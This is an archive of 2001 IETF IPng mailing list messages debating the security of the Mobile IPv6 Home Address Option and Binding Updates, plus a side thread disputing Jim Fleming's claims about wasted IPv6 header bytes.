(8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3E3mtx029081 for ipng-dist; Mon, 3 Dec 2001 06:03:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3E3jHt029074 for ; Mon, 3 Dec 2001 06:03:45 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA02431 for ; Mon, 3 Dec 2001 06:03:47 -0800 (PST) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id HAA07541 for ; Mon, 3 Dec 2001 07:03:29 -0700 (MST) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AA14123; Mon, 3 Dec 2001 09:03:38 -0500 Date: Mon, 3 Dec 2001 09:03:38 -0500 (EST) From: Jim Bound To: john.loughney@nokia.com Cc: pekkas@netcore.fi, ipng@sunroof.eng.sun.com Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF5D924F@esebe004.NOE.Nokia.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > This is something that I was getting at. If BU processing is not > implemented, then wouldn't all packets be routed via the HA? And I find that unacceptable. Ship the BU and optimization. /jim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 06:20:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3EKRHt029113 for ; Mon, 3 Dec 2001 06:20:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3EKRai029112 for ipng-dist; Mon, 3 Dec 2001 06:20:27 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3EKNHt029105 for ; Mon, 3 Dec 2001 06:20:23 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA03728 for ; Mon, 3 Dec 2001 06:20:25 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA26675 for ; Mon, 3 Dec 2001 07:20:23 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB3EKLY19431; Mon, 3 Dec 2001 16:20:21 +0200 Date: Mon, 3 Dec 2001 16:20:21 +0200 (EET) From: Pekka Savola To: cc: Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEF5D924F@esebe004.NOE.Nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Mon, 3 Dec 2001 john.loughney@nokia.com wrote: > > An important point to consider (perhaps not in this context, but in > > general) is: how will communication between mobile nodes and > > stationary nodes not implementing either BU processing or HAO work? > > This is probably something that will occur in real life quite often > > in the next few years. > > This is something that I was getting at. If BU processing is not > implemented, then wouldn't all packets be routed via the HA? Not necessarily, AFAICS (if HAO-option is used). Depends on how strict your requirement on mobility (in this context, requirement for non-breaking connections if IP changes; depends a lot on how architecture is designed) is. Do you see any flaws in my reasoning (this wasn't commented on) -- I think this should answer some questions.. --8<-- Date: Tue, 16 Oct 2001 16:15:19 +0300 (EEST) From: Pekka Savola To: Subject: Re: [mobile-ip] WG Last Call on Threat Model and Security Requirements for MIP v6 (fwd) Am I right by saying: - with Home Address, without BU: the route will be suboptimal, but mobility (connections break if MN changes IP address) will still work. - with Home Address, with BU: route will be optimal and mobility works. - without Home Address, without BU: the route will be optimal and mobility will not work - without Home Address, with BU: route will be optimal but mobility will not work. That is, if HAO mobility if BU route optimization fi else route optimization fi >From above, the only reason why HAO should be useful for a dummy node not implementing BU is mobility (non-breaking connections). Is that scenario relevant enough to justify non-authorized HAO usage? --8<-- -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 06:28:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3ES6Ht029167 for ; Mon, 3 Dec 2001 06:28:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3ES59o029166 for ipng-dist; Mon, 3 Dec 2001 06:28:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3ES2Ht029159 for ; Mon, 3 Dec 2001 06:28:02 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA11389 for ; Mon, 3 Dec 2001 06:28:04 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA27187 for ; Mon, 3 Dec 2001 07:28:32 -0700 (MST) Received: from ipv16 (as1-98.chi.il.dial.anet.com [198.92.156.98]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id IAA05637; Mon, 3 Dec 2001 08:26:59 -0600 (CST) Message-ID: <017301c17c08$675e4b20$a300a8c0@ipv16> From: "Jim Fleming" To: "Brian E Carpenter" , References: <3C0B4B95.E6EA3AC3@hursley.ibm.com> Subject: Re: "one true protocol" Date: Mon, 3 Dec 2001 08:40:05 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk When you design protocols with 128 bit address fields, and then you proceed to place non-routable, random numbers, in the right-most 64 bits of each field, that results in 16 bytes of the 40 byte header being wasted. Those wasted bytes help to slow networks down and increase the need for bandwidth. Such protocols will not likely be desired by people who pay for bandwidth and people who like performance computing. While such designs might be interesting academic exercises, and might be useful in landing large government grants based on some artificial need for more bandwidth, they are not considered engineering progress for the commercial sector which builds networks that real people use in everyday life, especially in the United States of America. Jim Fleming http://www.IPv8.info IPv16....One Better !! ----- Original Message ----- From: "Brian E Carpenter" To: Sent: Monday, December 03, 2001 3:53 AM Subject: Re: "one true protocol" > Yes, it is really slow to filter out stuff with the string "Jim Fleming" > in the message body. > > Brian > > Pekka Savola wrote: > > > > Hi, > > > > Please keep Jim Fleming in Cc: in threads initiated by Mr. Fleming. That > > way our filters have better chance of "storing" these threads to where > > they belong to. > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 07:41:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3FffHt029258 for ; Mon, 3 Dec 2001 07:41:41 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3Fffv5029257 for ipng-dist; Mon, 3 Dec 2001 07:41:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3FfZHt029248 for ; Mon, 3 Dec 2001 07:41:36 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fB3FfTq01664; Mon, 3 Dec 2001 16:41:30 +0100 (MET) Date: Mon, 3 Dec 2001 15:45:17 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt To: Jari Arkko Cc: Pekka Savola , john.loughney@nokia.com, ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > But frankly - as someone who wants to deploy zillions of these > devices soon - we are somewhat unsure how to proceed regarding > this issue. Since I know you Pekka were involved in the Home Address > Option discussion, perhaps you could comment on where do you think > the WG goes? Will it disallow the option unless accompanied by a > Binding Cache Entry established securely earlier? Will it throw away > the option and start to use tunneling? Or decide that there is no > security issue? Or perhaps we can't yet say for sure? I'm very concerned that the current assumptions around security for the Home Address Option is based on a poorer understanding of security, DDoS, reflectors, etc that we (including myself as co-chair of Mobile-IP) had a few years back. Thus I, including with an IESG member hat on, currently think that allowing Home Address Options to be processed as currently described is asking for problems and that we need better security in this area. One *possible* solution to this is to only accept packets with a HAOpt when there is a matching binding cache entry for the sender, but there might be other solutions as well. But I'd sure like to see closure around the requirements document in the Mobile IP WG on this point. Note that this issue is independent of how to information contained in the HAOpt is carried - whether as a HAOpt in the Destination Options header or as a tunneling header. But thinking of it as a form of (restricted) tunneling has helped me understand the security implications of it. Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 11:24:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3JORHt000281 for ; Mon, 3 Dec 2001 11:24:27 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3JORUI000280 for ipng-dist; Mon, 3 Dec 2001 11:24:27 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3JOOHt000273 for ; Mon, 3 Dec 2001 11:24:24 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA29560 for ; Mon, 3 Dec 2001 11:24:24 -0800 (PST) Received: from mailhost.iprg.nokia.com (mailhost.iprg.nokia.com [205.226.5.12]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA20820 for ; Mon, 3 Dec 2001 11:24:24 -0800 (PST) Received: from darkstar.iprg.nokia.com (darkstar.iprg.nokia.com [205.226.5.69]) by mailhost.iprg.nokia.com (8.9.3/8.9.3-GLGS) with ESMTP id LAA08270 for ; Mon, 3 Dec 2001 11:24:23 -0800 (PST) X-Delivered-For: Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id fB3JONP08295 for ; Mon, 3 Dec 2001 11:24:23 -0800 X-mProtect: Mon, 3 Dec 2001 11:24:23 -0800 Nokia Silicon Valley Messaging Protection Received: from vijayd.iprg.nokia.com (205.226.2.94, claiming to be "iprg.nokia.com") by darkstar.iprg.nokia.com(P1.5 smtpdntOdUZ; Mon, 03 Dec 2001 11:24:21 PST Message-ID: <3C0BD166.8CED30C7@iprg.nokia.com> Date: Mon, 03 Dec 2001 11:24:22 -0800 From: Vijay Devarapalli X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 3.4-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 CC: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk hi, Jari Arkko wrote: > > > "basic functionality of a CN" has not been defined explicitly, IMO. > > Yes. Thanks for pointing this out. We should clarify the issue in the draft. > The intention was to say that Home Address Option processing is > mandatory on all nodes, while Route Optimization functionality is not > (mipv6 draft -15 says: "Mobile IPv6 defines four new IPv6 destination > options, including one that MUST be supported in packets received by > any node, whether mobile or stationary."). > > > The requirement that Home Address Option MUST be processed is nothing new; > > it's a requirement for every IPv6 node as currently being specified. > > Right, and this was what we've stated in earlier versions of the draft. A > note was, however, added to the latest version of our draft to indicate > that the Mobile IP WG is presently discussing what to do with the Home > Address Option and whether there are security issues in that as well > (as there were other security issues in the Binding Update Option). The above sentence needs to be put in a certain perspective. I think it is wrong it say the Mobile IP WG is wholeheartedly discussing this issue. It is more like that this issue has been forced upon the Mobile IP WG (like certain other security issues it was never meant to solve). And most people (who worked on Mobile IPv6 implementations for years) dont take part in these discussions either. We implementors (I can speak for a few people) were quite happy with Home address option, BU option and IPSec (we made it work with Mobile IPv6), until things started going wrong from December 2000 IETF onwards. regards Vijay > But frankly - as someone who wants to deploy zillions of these > devices soon - we are somewhat unsure how to proceed regarding > this issue. Since I know you Pekka were involved in the Home Address > Option discussion, perhaps you could comment on where do you think > the WG goes? Will it disallow the option unless accompanied by a > Binding Cache Entry established securely earlier? Will it throw away > the option and start to use tunneling? Or decide that there is no > security issue? Or perhaps we can't yet say for sure? > > Jari > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 13:31:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3LVqHt000724 for ; Mon, 3 Dec 2001 13:31:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3LVq7t000723 for ipng-dist; Mon, 3 Dec 2001 13:31:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3LVmHt000716 for ; Mon, 3 Dec 2001 13:31:48 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA00364 for ; Mon, 3 Dec 2001 13:31:46 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA18202 for ; Mon, 3 Dec 2001 13:31:44 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB3LVX922677; Mon, 3 Dec 2001 23:31:33 +0200 Date: Mon, 3 Dec 2001 23:31:32 +0200 (EET) From: Pekka Savola To: Vijay Devarapalli cc: Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <3C0BD166.8CED30C7@iprg.nokia.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Mon, 3 Dec 2001, Vijay Devarapalli wrote: > > > The requirement that Home Address Option MUST be processed is nothing new; > > > it's a requirement for every IPv6 node as currently being specified. > > > > Right, and this was what we've stated in earlier versions of the draft. A > > note was, however, added to the latest version of our draft to indicate > > that the Mobile IP WG is presently discussing what to do with the Home > > Address Option and whether there are security issues in that as well > > (as there were other security issues in the Binding Update Option). > > The above sentence needs to be put in a certain perspective. > I think it is wrong it say the Mobile IP WG is wholeheartedly > discussing this issue. It is more like that this issue has been > forced upon the Mobile IP WG (like certain other security issues > it was never meant to solve). And most people (who worked on > Mobile IPv6 implementations for years) dont take part in these > discussions either. We implementors (I can speak for a few people) > were quite happy with Home address option, BU option and > IPSec (we made it work with Mobile IPv6), until things started > going wrong from December 2000 IETF onwards. Wouldn't it be nice if one would be allowed to specify insecure behaviour, and in addition, making it a MUST implement (HAO) or a SHOULD (BU) for every IPv6 node? Without regard for consequences? "Stationary nodes are not our problem.. they aren't mobile"? Some might say: feel free to break MIPv6 -- it's your baby after all -- but don't break IPv6 in the process too, please. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 14:10:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3MAIHt000901 for ; Mon, 3 Dec 2001 14:10:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3MAI8A000900 for ipng-dist; Mon, 3 Dec 2001 14:10:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3MAFHt000893 for ; Mon, 3 Dec 2001 14:10:15 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA27124 for ; Mon, 3 Dec 2001 14:10:15 -0800 (PST) Received: from ordisalon.dgc (ACBD4CC0.ipt.aol.com [172.189.76.192]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA06711 for ; Mon, 3 Dec 2001 15:09:55 -0700 (MST) Received: from ordichambre ([10.10.0.3]) by ordisalon.dgc with Microsoft SMTPSVC(5.0.2195.2966); Mon, 3 Dec 2001 23:12:14 +0100 From: =?iso-8859-1?Q?Damien_Mascr=E9?= To: "Jim Fleming" , "Brian E Carpenter" , Subject: RE: "one true protocol" Date: Mon, 3 Dec 2001 23:12:13 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <017301c17c08$675e4b20$a300a8c0@ipv16> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Importance: Normal X-OriginalArrivalTime: 03 Dec 2001 22:12:14.0071 (UTC) FILETIME=[8FD50870:01C17C47] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Don't forget that the low 8 bytes are not always ramdomly choosed and that having a rigid format for the packet is cute because the routers can handle the packets more faster, and so, it results in an increased bandwidth.... > -----Message d'origine----- > De : owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]De la part de Jim Fleming > Envoyé : lundi 3 décembre 2001 15:40 > À : Brian E Carpenter; ipng@sunroof.eng.sun.com > Objet : Re: "one true protocol" > > > When you design protocols with 128 bit address fields, and then you > proceed to place non-routable, random numbers, in the right-most 64 bits > of each field, that results in 16 bytes of the 40 byte header > being wasted. > Those wasted bytes help to slow networks down and increase the need > for bandwidth. Such protocols will not likely be desired by people who > pay for bandwidth and people who like performance computing. While > such designs might be interesting academic exercises, and might be useful > in landing large government grants based on some artificial need for more > bandwidth, they are not considered engineering progress for the commercial > sector which builds networks that real people use in everyday > life, especially > in the United States of America. > > Jim Fleming > http://www.IPv8.info > IPv16....One Better !! > > > ----- Original Message ----- > From: "Brian E Carpenter" > To: > Sent: Monday, December 03, 2001 3:53 AM > Subject: Re: "one true protocol" > > > > Yes, it is really slow to filter out stuff with the string "Jim Fleming" > > in the message body. > > > > Brian > > > > Pekka Savola wrote: > > > > > > Hi, > > > > > > Please keep Jim Fleming in Cc: in threads initiated by Mr. > Fleming. That > > > way our filters have better chance of "storing" these threads to where > > > they belong to. > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 14:13:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3MDNHt000929 for ; Mon, 3 Dec 2001 14:13:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3MDNeF000928 for ipng-dist; Mon, 3 Dec 2001 14:13:23 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3MDKHt000921 for ; Mon, 3 Dec 2001 14:13:20 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA27015 for ; Mon, 3 Dec 2001 14:13:20 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA07719 for ; Mon, 3 Dec 2001 14:13:19 -0800 (PST) Received: from ipv16 (as1-98.chi.il.dial.anet.com [198.92.156.98]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id QAA28914; Mon, 3 Dec 2001 16:13:08 -0600 (CST) Message-ID: <044a01c17c49$7d16fd40$a300a8c0@ipv16> From: "Jim Fleming" To: =?iso-8859-1?Q?Damien_Mascr=E9?= , "Brian E Carpenter" , References: Subject: Re: "one true protocol" Date: Mon, 3 Dec 2001 16:25:59 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This may help... http://www.dot-biz.com/IPv4/Tutorial/ The Netfilter Project: Packet Mangling for Linux 2.4 http://netfilter.samba.org Jim Fleming http://www.IPv8.info IPv16....One Better !! ----- Original Message ----- From: "Damien Mascré" To: "Jim Fleming" ; "Brian E Carpenter" ; Sent: Monday, December 03, 2001 4:12 PM Subject: RE: "one true protocol" > Don't forget that the low 8 bytes are not always > ramdomly choosed and that having a rigid format > for the packet is cute because the routers > can handle the packets more faster, and so, > it results in an increased bandwidth.... > > > > -----Message d'origine----- > > De : owner-ipng@sunroof.eng.sun.com > > [mailto:owner-ipng@sunroof.eng.sun.com]De la part de Jim Fleming > > Envoyé : lundi 3 décembre 2001 15:40 > > À : Brian E Carpenter; ipng@sunroof.eng.sun.com > > Objet : Re: "one true protocol" > > > > > > When you design protocols with 128 bit address fields, and then you > > proceed to place non-routable, random numbers, in the right-most 64 bits > > of each field, that results in 16 bytes of the 40 byte header > > being wasted. > > Those wasted bytes help to slow networks down and increase the need > > for bandwidth. Such protocols will not likely be desired by people who > > pay for bandwidth and people who like performance computing. While > > such designs might be interesting academic exercises, and might be useful > > in landing large government grants based on some artificial need for more > > bandwidth, they are not considered engineering progress for the commercial > > sector which builds networks that real people use in everyday > > life, especially > > in the United States of America. > > > > Jim Fleming > > http://www.IPv8.info > > IPv16....One Better !! > > > > > > ----- Original Message ----- > > From: "Brian E Carpenter" > > To: > > Sent: Monday, December 03, 2001 3:53 AM > > Subject: Re: "one true protocol" > > > > > > > Yes, it is really slow to filter out stuff with the string "Jim Fleming" > > > in the message body. > > > > > > Brian > > > > > > Pekka Savola wrote: > > > > > > > > Hi, > > > > > > > > Please keep Jim Fleming in Cc: in threads initiated by Mr. > > Fleming. That > > > > way our filters have better chance of "storing" these threads to where > > > > they belong to. > > > > > > > -------------------------------------------------------------------- > > > IETF IPng Working Group Mailing List > > > IPng Home Page: http://playground.sun.com/ipng > > > FTP archive: ftp://playground.sun.com/pub/ipng > > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > > -------------------------------------------------------------------- > > > > > > > -------------------------------------------------------------------- > > IETF IPng Working Group Mailing List > > IPng Home Page: http://playground.sun.com/ipng > > FTP archive: ftp://playground.sun.com/pub/ipng > > Direct all administrative requests to majordomo@sunroof.eng.sun.com > > -------------------------------------------------------------------- > > > > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 14:30:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3MUjHt000997 for ; Mon, 3 Dec 2001 14:30:45 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB3MUjak000996 for ipng-dist; Mon, 3 Dec 2001 14:30:45 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB3MUfHt000989 for ; Mon, 3 Dec 2001 14:30:41 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA01580 for ; Mon, 3 Dec 2001 14:30:42 -0800 (PST) Received: from fep3.cogeco.net (smtp.cogeco.net [216.221.81.25]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id 